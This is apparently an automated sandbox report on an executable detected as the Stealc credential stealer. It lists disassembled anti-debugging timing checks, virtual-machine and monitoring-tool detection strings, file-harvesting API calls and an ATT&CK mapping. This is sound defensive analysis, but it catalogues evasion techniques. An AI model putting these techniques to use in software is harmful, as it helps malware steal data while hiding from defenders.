Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA5C7 second address: 9CA5CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA003F second address: AA0048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0048 second address: AA004E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA004E second address: AA006B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B4Eh 0x00000007 jmp 00007F2429065B4Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA654C second address: AA658B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F242906E926h 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007F242906E926h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push esi 0x00000016 pop esi 0x00000017 jmp 00007F242906E932h 0x0000001c popad 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push ecx 0x00000020 pushad 0x00000021 jmp 00007F242906E92Fh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAADEC second address: AAADF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2429065B46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAADF6 second address: AAADFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAADFA second address: AAAE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAABF8 second address: AAAC1A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F242906E937h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAC1A second address: AAAC20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAC20 second address: AAAC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAC2C second address: AAAC30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5579 second address: 9C5581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5581 second address: 9C55C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2429065B55h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d jmp 00007F2429065B53h 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F2429065B4Bh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C55C2 second address: 9C55C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2522 second address: AB2526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2526 second address: AB2532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F242906E926h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB283B second address: AB285E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 push edx 0x00000008 jnp 00007F2429065B46h 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2429065B4Ah 0x00000018 jnc 00007F2429065B46h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB29BD second address: AB29C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB29C1 second address: AB29CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB29CD second address: AB29D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB29D1 second address: AB29EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2C63 second address: AB2C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F242906E926h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2C6F second address: AB2C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2DF7 second address: AB2E0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F242906E92Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2E0E second address: AB2E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC515E second address: AC518C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F242906E92Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F242906E937h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC518C second address: AC5196 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2429065B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC5196 second address: AC519D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4FC6 second address: AC4FE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2429065B4Eh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9825 second address: AE982F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F242906E926h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE892C second address: AE8945 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F2429065B4Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8945 second address: AE8950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F242906E926h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8C18 second address: AE8C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8C1C second address: AE8C38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F242906E935h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE9090 second address: AE90B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F2429065B4Ah 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 push edx 0x00000014 jp 00007F2429065B46h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED7F1 second address: AED7F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDB21 second address: AEDB26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEDB26 second address: AEDB2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51402B8 second address: 51402D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov di, ADEEh 0x00000011 mov esi, ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51402D4 second address: 5140360 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F242906E92Eh 0x00000009 and esi, 1D8C6638h 0x0000000f jmp 00007F242906E92Bh 0x00000014 popfd 0x00000015 mov ebx, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F242906E935h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F242906E92Eh 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 jmp 00007F242906E92Eh 0x0000002e pushfd 0x0000002f jmp 00007F242906E932h 0x00000034 add esi, 11772228h 0x0000003a jmp 00007F242906E92Bh 0x0000003f popfd 0x00000040 popad 0x00000041 pop ebp 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140360 second address: 5140364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140364 second address: 514036A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514036A second address: 5140370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51403BD second address: 51403C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51403C1 second address: 51403E0 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 0B25FD73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov ecx, 1E11A7EBh 0x00000011 movzx eax, bx 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 mov ah, F8h 0x00000019 push eax 0x0000001a push edx 0x0000001b mov dx, 2BB6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51403E0 second address: 51403EF instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c movzx ecx, dx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51403EF second address: 51403F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51403F3 second address: 514040D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cl, bh 0x00000008 popad 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ax, 7231h 0x00000010 mov ebx, esi 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514040D second address: 5140411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140411 second address: 5140417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140417 second address: 514041D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514041D second address: 5140421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07E36 second address: A07E48 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2429065B4Ah 0x0000000d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8518AF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9FE0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9FCCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A265EF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A03ACC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A86ECC instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00604910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00604910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_005FDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_005FE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00604570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00604570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_005FED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_005FBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005FDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005F16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00603EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00603EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FF68A FindFirstFileA,	0_2_005FF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005FF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005FF6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F1160 GetSystemInfo,ExitProcess,

0_2_005F1160

Source: file.exe, file.exe, 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2067248972.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware>.%H
Source: file.exe, 00000000.00000002.2067248972.0000000001433000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp^F
Source: file.exe, 00000000.00000002.2067248972.0000000001463000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2067248972.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13408
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13420
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13405
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13428
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13460

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_005F45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00609860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00609750 mov eax, dword ptr fs:[00000030h]

0_2_00609750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00607850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00607850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 616, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00609600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00609600

Source: file.exe, file.exe, 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00607B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00606920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00606920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00607850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00607850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00607A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00607A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2067248972.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2023298984.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 616, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2067248972.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2023298984.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 616, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
